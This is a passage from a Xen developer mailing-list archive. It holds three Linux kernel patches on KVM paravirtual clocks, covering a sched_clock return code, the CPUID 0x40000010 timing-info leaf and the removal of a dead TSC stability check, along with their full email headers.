	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934404-77F251CC-CF0FB594/0/0
X-purgate-type: clean
X-purgate-size: 3369

Add a return code to __paravirt_set_sched_clock() so that the kernel can
reject attempts to use a PV sched_clock without breaking the caller.  E.g.
when running as a CoCo VM with a secure TSC, using a PV clock is generally
undesirable.

Note, kvmclock is the only PV clock that does anything "extra" beyond
simply registering itself as sched_clock, i.e. is the only caller that
needs to check the new return value.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/include/asm/timer.h | 6 +++---
 arch/x86/kernel/kvmclock.c   | 9 ++++++---
 arch/x86/kernel/tsc.c        | 5 +++--
 3 files changed, 12 insertions(+), 8 deletions(-)

diff --git a/arch/x86/include/asm/timer.h b/arch/x86/include/asm/timer.h
index 96ae7feac47c..ca5c95d48c03 100644
--- a/arch/x86/include/asm/timer.h
+++ b/arch/x86/include/asm/timer.h
@@ -14,14 +14,14 @@ extern int no_timer_check;
 extern bool using_native_sched_clock(void);
 
 #ifdef CONFIG_PARAVIRT
-void __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
-				       void (*save)(void), void (*restore)(void));
+int __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
+				      void (*save)(void), void (*restore)(void));
 
 static __always_inline void paravirt_set_sched_clock(u64 (*func)(void),
 						     void (*save)(void),
 						     void (*restore)(void))
 {
-	__paravirt_set_sched_clock(func, true, save, restore);
+	(void)__paravirt_set_sched_clock(func, true, save, restore);
 }
 #endif
 
diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 2cc3dd2ba355..22e8855fcd4d 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -332,10 +332,13 @@ static int kvmclock_setup_percpu(unsigned int cpu)
 
 static __init void kvm_sched_clock_init(bool stable)
 {
+	/* Ensure the offset is configured before making kvmclock visible! */
 	kvm_sched_clock_offset = kvm_clock_read();
-	__paravirt_set_sched_clock(kvm_sched_clock_read, stable,
-				   kvm_save_sched_clock_state,
-				   kvm_restore_sched_clock_state);
+
+	if (__paravirt_set_sched_clock(kvm_sched_clock_read, stable,
+				       kvm_save_sched_clock_state,
+				       kvm_restore_sched_clock_state))
+		return;
 
 	/*
 	 * The BSP's clock is managed via dedicated sched_clock save/restore
diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
index 0f92b29adecc..012321fed5e5 100644
--- a/arch/x86/kernel/tsc.c
+++ b/arch/x86/kernel/tsc.c
@@ -280,8 +280,8 @@ bool using_native_sched_clock(void)
 	return static_call_query(pv_sched_clock) == native_sched_clock;
 }
 
-void __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
-				       void (*save)(void), void (*restore)(void))
+int __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
+				      void (*save)(void), void (*restore)(void))
 {
 	if (!stable)
 		clear_sched_clock_stable();
@@ -289,6 +289,7 @@ void __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
 	static_call_update(pv_sched_clock, func);
 	x86_platform.save_sched_clock_state = save;
 	x86_platform.restore_sched_clock_state = restore;
+	return 0;
 }
 #else
 u64 sched_clock_noinstr(void) __attribute__((alias("native_sched_clock")));
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:33:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:33:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350544.1608033 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h0-0001ms-Od; Wed, 01 Jul 2026 19:33:54 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350544.1608033; Wed, 01 Jul 2026 19:33:54 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h0-0001mi-LT; Wed, 01 Jul 2026 19:33:54 +0000
Received: by outflank-mailman (input) for mailman id 1350544;
 Wed, 01 Jul 2026 19:33:53 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3YmtFagYKCacZLHUQJNVVNSL.JVTeLU-KLcLSSPZaZ.eLUWYVQLJa.VYN@flex--seanjc.bounces.google.com>)
 id 1wf0gz-0001Z7-GL
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:33:53 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0gy-004oBL-TW
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:33:52 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3YmtFagYKCacZLHUQJNVVNSL.JVTeLU-KLcLSSPZaZ.eLUWYVQLJa.VYN@flex--seanjc.bounces.google.com>)
 id 6a456b9c-2eae-0a2a0a5409dd-0a2a4509e6b8-6
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:52 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3YmtFagYKCacZLHUQJNVVNSL.JVTeLU-KLcLSSPZaZ.eLUWYVQLJa.VYN@flex--seanjc.bounces.google.com>)
 id 6a456b63-97e6-0a2a45090019-d155d6cab8da-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:52 +0200
Received: by mail-pl1-f202.google.com with SMTP id
 d9443c01a7336-2c9f452d260so14902225ad.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934371; x=1783539171; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=UfbO84e0Sh/RDtmtar1VNwA0GsKq34HNdlIOIT+krtA=;
        b=AMRXTX9RbUJm6EZTMErtVm2SOxZxGNRMbsJeTYXz1MSKJZdeUpfr3oYsmz+pV5WqgW
         HRVba+crviIXfXkCo4r5FBnNAbWF9x9OBnJgnmUO/QmV2EVI2z6zzOMK2dCV/J2hjvQa
         zQkn7X/oyW4Q2jemRPb5y0fY+NA40WiahJeSMlEgTcJ4fdRaM9rMplbzXP9c9dYk4gxq
         Oz9jJWrvA5gxsPkWojGP3sflAkI886i79+XOhYtAX5dXCEoPR0yyLGrX9AdMsHEqpHKQ
         akaae/pdc+sS8gLlHZdS0PEnic6dTOPaoAT9dkFH4r8LskqOfNfSyVDYy/24tV8eU1SG
         8o4g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934371; x=1783539171;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=UfbO84e0Sh/RDtmtar1VNwA0GsKq34HNdlIOIT+krtA=;
        b=CfZwskGBmQ6jg1Ug52r5uRHuibGs7iTXKeCcQqpROuup/36U8rP4iAv1yxiBteyYbk
         2cTqkwHzMA4K5zj7OV/J/Y5BuHhTN5DfjbcWef3SO5MBAHP53lHWZycr0Yjj3/M63TDt
         iS+mulqY80MCqhgp+6EaaG1E+EU/c5a+DXs8VpiMu6BA+XCpcO/+zwJq3CW67Azbqs5W
         It+F01p+nRhLrbTJMqOSb8DKlJg4GC56APZyBtL6FhyZeVFkbdWqmgReozDDvcijjfeq
         PkcsUMocXGXzRjFNuCOXStHzEnVT3VbyC24OZG2GOLnp/zzK7hckf4y5IyKMH3yud7vs
         f3DA==
X-Forwarded-Encrypted: i=1; AFNElJ87yIacb93KF2ygwoQ+urKAAD6QL/3dFb4jn8eqJPVXtvaH8J6lXxZ+RwlseH+bunboXSMP7DXTpZY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxLcXiWLg7uJNU+ZKVfIFo3yha69vEUQBGUV7uJYbIEgn4YsAfs
	x8XB+sXWM5CZvhwQBS9H38QqdAon9W7vqP7iarKNX5omg6nXpw5WLVG9I6W2TXklLYCSCymLL/5
	RoP0A5g==
X-Received: from pgkm12.prod.google.com ([2002:a63:ed4c:0:b0:c9e:1056:de15])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:b7a7:b0:3bf:6011:53b
 with SMTP id adf61e73a8af0-3bfed47e0eamr2900412637.38.1782934370392; Wed, 01
 Jul 2026 12:32:50 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:41 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-21-seanjc@google.com>
Subject: [PATCH v5 20/51] KVM: x86: Officially define CPUID 0x40000010 as PV
 Timing Info (TSC and Bus)
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1782934372-46327986-DD399FFD/13/0
X-purgate-type: clean
X-purgate-size: 3773

From: David Woodhouse <dwmw@amazon.co.uk>

Formally define and document CPUID 0x40000010 as providing TSC and local
APIC bus frequency information for KVM's PV CPUID range.  Way back in
2008, VMware proposed (https://lkml.org/lkml/2008/10/1/246) carving out a
range of CPUID leaves for use by hypervisors.  While the broader proposal
from VMware was mostly shot down in flames, use of CPUID 0x40000010 to
provide TSC and local APIC bus frequency information survived and made it's
way into multiple guest operating systems.

XNU unconditionally assumes CPUID 0x40000010 contains the frequency
information, if it's present on any hypervisor:

  https://github.com/apple/darwin-xnu/blob/main/osfmk/i386/cpuid.c

As does FreeBSD:

  https://github.com/freebsd/freebsd-src/commit/4a432614f68

More importantly, QEMU (the de facto "reference" VMM for KVM) has
conditionally provided timing information in CPUID 0x40000010 for almost
9 years, since commit 9954a1582e ("x86-KVM: Supply TSC and APIC clock
rates to guest like VMWare").

So at this point it would be daft for KVM (or any hypervisor) to expose
0x40000010 for any *other* content.  Officially carve out and define the
CPUID leaf so that Linux-as-a-guest can follow suit and pull TSC and Local
APIC Bus frequency information from CPUID.

Defer providing userspace with the necessary information needed to
precisely and accurately enumerate the _actual_ configured TSC frequency
to the guest (that exact information, along with the scaled ratio, isn't
exposed to userspace).  As evidenced by QEMU, providing CPUID 0x40000010
without help from KVM is entirely possible, just not ideal.

Link: https://lore.kernel.org/all/ea0d7f43d910cee9600b254e303f468722fa355b.camel@infradead.org
Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
[sean: drop KVM filling of CPUID, add documentation, massage changelog]
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 Documentation/virt/kvm/x86/cpuid.rst | 12 ++++++++++++
 arch/x86/include/uapi/asm/kvm_para.h | 11 +++++++++++
 2 files changed, 23 insertions(+)

diff --git a/Documentation/virt/kvm/x86/cpuid.rst b/Documentation/virt/kvm/x86/cpuid.rst
index bda3e3e737d7..a5ee8ff052ce 100644
--- a/Documentation/virt/kvm/x86/cpuid.rst
+++ b/Documentation/virt/kvm/x86/cpuid.rst
@@ -122,3 +122,15 @@ KVM_HINTS_REALTIME 0            guest checks this feature bit to
                                 preempted for an unlimited time
                                 allowing optimizations
 ================== ============ =================================
+
+function: KVM_CPUID_TIMING_INFO (0x40000010)
+
+returns::
+
+   eax = (Virtual) TSC frequency in kHz
+   ebx = (Virtual) Bus (local APIC timer) frequency in kHz
+   ecx = 0 (Reserved)
+   edx = 0 (Reserved)
+
+Note, KVM only defines the semantics of KVM_CPUID_TIMING_INFO; KVM does NOT
+advertise support via KVM_GET_SUPPORTED_CPUID.
diff --git a/arch/x86/include/uapi/asm/kvm_para.h b/arch/x86/include/uapi/asm/kvm_para.h
index a1efa7907a0b..c3a384711f3a 100644
--- a/arch/x86/include/uapi/asm/kvm_para.h
+++ b/arch/x86/include/uapi/asm/kvm_para.h
@@ -44,6 +44,17 @@
  */
 #define KVM_FEATURE_CLOCKSOURCE_STABLE_BIT	24
 
+/*
+ * The timing information leaf provides TSC and local APIC timer frequency
+ * information to the guest.  Note, userspace is responsible for filling the
+ * leaf with the correct information.
+ *
+ *  # EAX: (Virtual) TSC frequency in kHz.
+ *  # EBX: (Virtual) Bus (local APIC timer) frequency in kHz.
+ *  # ECX, EDX: Reserved (must be zero).
+ */
+#define KVM_CPUID_TIMING_INFO	0x40000010
+
 #define MSR_KVM_WALL_CLOCK  0x11
 #define MSR_KVM_SYSTEM_TIME 0x12
 
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:33:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:33:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350543.1608024 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0gz-0001ZM-G3; Wed, 01 Jul 2026 19:33:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350543.1608024; Wed, 01 Jul 2026 19:33:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0gz-0001ZA-Cq; Wed, 01 Jul 2026 19:33:53 +0000
Received: by outflank-mailman (input) for mailman id 1350543;
 Wed, 01 Jul 2026 19:33:52 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3YWtFagYKCaYYKGTPIMUUMRK.IUSdKT-JKbKRROYZY.dKTVXUPKIZ.UXM@flex--seanjc.bounces.google.com>)
 id 1wf0gy-0001Ye-GL
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:33:52 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0gx-00BwAh-TJ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:33:51 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3YWtFagYKCaYYKGTPIMUUMRK.IUSdKT-JKbKRROYZY.dKTVXUPKIZ.UXM@flex--seanjc.bounces.google.com>)
 id 6a456b82-e002-0a2a0a5209dd-0a2a4505e1fc-30
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:51 +0200
Received: from [209.85.214.201] (helo=mail-pl1-f201.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3YWtFagYKCaYYKGTPIMUUMRK.IUSdKT-JKbKRROYZY.dKTVXUPKIZ.UXM@flex--seanjc.bounces.google.com>)
 id 6a456b62-3cb2-0a2a45050019-d155d6c9b4b3-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:32:51 +0200
Received: by mail-pl1-f201.google.com with SMTP id
 d9443c01a7336-2c81db324caso14283025ad.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:32:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934370; x=1783539170; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=/Hl8ESM1aN3u3Me6yWngcHpVlzQnDyaS4TqcnFx8YJ8=;
        b=VQj2JxN+3YFPhUYrmSA270jfRpU/GHRI7DfClXRzUXP+WdhkWC9qg/NjaRWstwm82Q
         rEQGdC33vJb4CA93TUSvTvLlxsfmjUcdRzTY6akA8VjRiE3YRQbrKAtcEB3hXq2MLPsu
         bXaXvo0kN7tpuTqKS60FV4QTTTbg84OsaGY1rbd5yeCmBVfP8BUvJyxyE8bYueAx9bhT
         LxK7GQAlIbOR4eXdAoSLuVgSaAu6qxla1sz9ukbBMgcoSqprMtQUzYfwuduwELWkzP01
         4/KRrvZOFfJ61j805QHe3E94sPt6t/3tE6eUqilESODPizVCVy12vKfIBqm6EEcUN+Ft
         WY6Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934370; x=1783539170;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=/Hl8ESM1aN3u3Me6yWngcHpVlzQnDyaS4TqcnFx8YJ8=;
        b=fHFle+5MN2daAPW28kh3PHyvXbfzikLghKuyLWmfNqr0ArPow5YWp2vZkWElp20SVs
         eHpCgW78X37Os9IFBbC/n0gA1EeLOfp03cVfqrGrAj01ZdJyoYBpD+TVelIjatxhyZ7+
         0auoKzdv1iOQX0pjO1HNKIH7YdYs0qF2j1osNenv4+5uEOraMYWl2+hBNljuqR6Sdq21
         UW4z5olg3mxksSs4WgBo18fgNq0QoiIMh4EAHYuWcrSc4yOfY93OJj9Go65vLP72ej5g
         xT6bXH4zA+ZEsDsfHAFyKLlNk2giYSetr0lGUTktHHGDe+lfNm50tLrLoBdMLb4/xI7w
         HQ2g==
X-Forwarded-Encrypted: i=1; AHgh+RoMjuI05Os2CDcGZkY2hsPA9kArUEgbt2cgF0gzUrpj1ZqD0IiyO8pF3AEvfiIh57QcDE6xdPG67rM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YweffcS0pMXu56bn8J/gwQGCYRhApdIsYCfN6aZZoCfQi3oh5eq
	/bMLKnSS3sSJLNOzgYcW3ioiynp2Xh+KWPX6VYhrFT78rPhp/OJgz4rUzQXd6PHnzTx6SjjJbFh
	/IVF5Tw==
X-Received: from plrx15.prod.google.com ([2002:a17:902:b40f:b0:2c0:bd65:1a98])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:18e:b0:2c9:e86e:a9f5
 with SMTP id d9443c01a7336-2ca7e73cbd7mr31240015ad.18.1782934369266; Wed, 01
 Jul 2026 12:32:49 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:31:40 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-20-seanjc@google.com>
Subject: [PATCH v5 19/51] x86/kvmclock: Drop dead check on TSC being unstable
 during kvmclock_init()
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-c201ff/1782934371-0FD1E2B8-D85D69C5/13/0
X-purgate-type: clean
X-purgate-size: 1733

As pointed out by Sashiko[*], kvmclock_init() runs before __setup() and
thus before notsc_setup() or tsc_setup() can mark the TSC unstable.
kvmclock_init() also runs well before tsc_init(), and even before
tsc_early_init().  Simply delete the check, as it's been dead code since
it was introduced.

Note, odds are good the check_tsc_unstable() call was copied from Xen's
xen_time_init()+xen_tsc_safe_clocksource() logic (as so much of KVM's PV
code was).  However, xen_time_init() runs via x86_init.timers.timer_init(),
which is invoke from x86_late_time_init(), and thus after params have been
parsed.

Alternatively, kvmclock could register itself later on, or tsc_setup()
could be parsed as an early param.  Given that there's zero evidence there
was any meaningful intent or need to actually check for an unstable TSC,
go with the simplest option.

Fixes: 7539b174aef4 ("x86: kvmguest: use TSC clocksource if invariant TSC is exposed")
Link: https://lore.kernel.org/all/20260529181213.0B27A1F00893@smtp.kernel.org [*]
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 061a22d31dea..29ca37e9a3bc 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -362,8 +362,7 @@ void __init kvmclock_init(void)
 	 *
 	 */
 	if (boot_cpu_has(X86_FEATURE_CONSTANT_TSC) &&
-	    boot_cpu_has(X86_FEATURE_NONSTOP_TSC) &&
-	    !check_tsc_unstable())
+	    boot_cpu_has(X86_FEATURE_NONSTOP_TSC))
 		kvm_clock.rating = 299;
 
 	clocksource_register_hz(&kvm_clock, NSEC_PER_SEC);
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:34:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:34:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350546.1608042 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h5-00029f-VQ; Wed, 01 Jul 2026 19:33:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350546.1608042; Wed, 01 Jul 2026 19:33:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0h5-00029V-Sj; Wed, 01 Jul 2026 19:33:59 +0000
Received: by outflank-mailman (input) for mailman id 1350546;
 Wed, 01 Jul 2026 19:33:57 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3ZmtFagYKCasdPLYUNRZZRWP.NZXiPY-OPgPWWTded.iPYacZUPNe.ZcR@flex--seanjc.bounces.google.com>)
 id 1wf0h3-00024S-P7
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:33:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0h3-004oBL-5t
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:33:57 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3ZmtFagYKCasdPLYUNRZZRWP.NZXiPY-OPgPWWTded.iPYacZUPNe.ZcR@flex--seanjc.bounces.google.com>)
 id 6a456b9c-2eae-0a2a0a5409dd-0a2a4509e6b8-10
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:57 +0200
Received: from [209.85.214.202] (helo=mail-pl1-f202.google.com)
